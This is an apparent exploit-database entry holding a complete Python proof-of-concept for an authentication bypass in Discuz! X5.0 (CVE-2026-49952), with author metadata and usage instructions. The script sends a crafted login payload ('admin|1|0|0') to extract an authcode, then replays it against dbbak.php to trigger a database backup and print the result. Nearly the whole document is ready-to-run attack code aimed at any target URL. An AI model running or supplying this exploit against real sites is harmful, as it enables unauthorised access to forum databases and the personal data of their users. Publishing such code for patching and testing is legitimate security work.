Discuz! X5.0 – Authentication Bypass
# Exploit Title: Discuz! X5.0 - Authentication Bypass # CVE: CVE-2026-49952 # Date: 2026-06-26 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://www.discuz.vip # Software Link: https://www.discuz.vip # Affected: Discuz! X5.0 (20260320 - 20260501) # Tested on: Discuz! X5.0 # Category: WebApps # Platform: PHP # Exploit Type: Authentication Bypass # CVSS: 9.1 # Description: Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse. # Fixed in: 20260510+ # Usage: # python3 exploit.py <target> # # Examples: # python3 exploit.py http://target.com # python3 exploit.py https://target.com --proxy http://127.0.0.1:8080 # # Options: # --proxy HTTP proxy # # Notes: # • Tune payload if needed (e.g. admin|1|0|0) # # How to Use # # Step 1: # Run the script against the target # # Step 2: # Check if dbbak.php access is granted import requests import re import sys import argparse import urllib.parse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def get_authcode(target, payload, proxy): url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes" data = { "username": payload, "password": "dummy123", "loginsubmit": "yes" } proxies = {"http": proxy, "https": proxy} if proxy else None try: r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15) match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text) if match: return match.group(1) match = re.search(r'([a-zA-Z0-9]{32,60})', r.text) if match: return match.group(1) return None except: return None def exploit_dbbak(target, authcode, proxy): url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1" proxies = {"http": proxy, "https": proxy} if proxy else None try: r = requests.get(url, proxies=proxies, verify=False, timeout=15) print(f"[+] dbbak.php status: {r.status_code}") if r.status_code == 200: print("[+] Success! Access to database backup granted.") print(r.text[:400]) else: print("[-] Failed or access denied.") except: print("[-] Request failed.") def main(): banner() parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC") parser.add_argument("target", help="Target URL") parser.add_argument("--proxy", help="HTTP proxy", default=None) parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0") args = parser.parse_args() target = args.target.rstrip("/") print(f"[*] Target: {target}") print(f"[*] Payload: {args.payload}") authcode = get_authcode(target, args.payload, args.proxy) if authcode: print(f"[+] Authcode: {authcode}") exploit_dbbak(target, authcode, args.proxy) else: print("[-] Failed to get authcode.") if __name__ == "__main__": main() |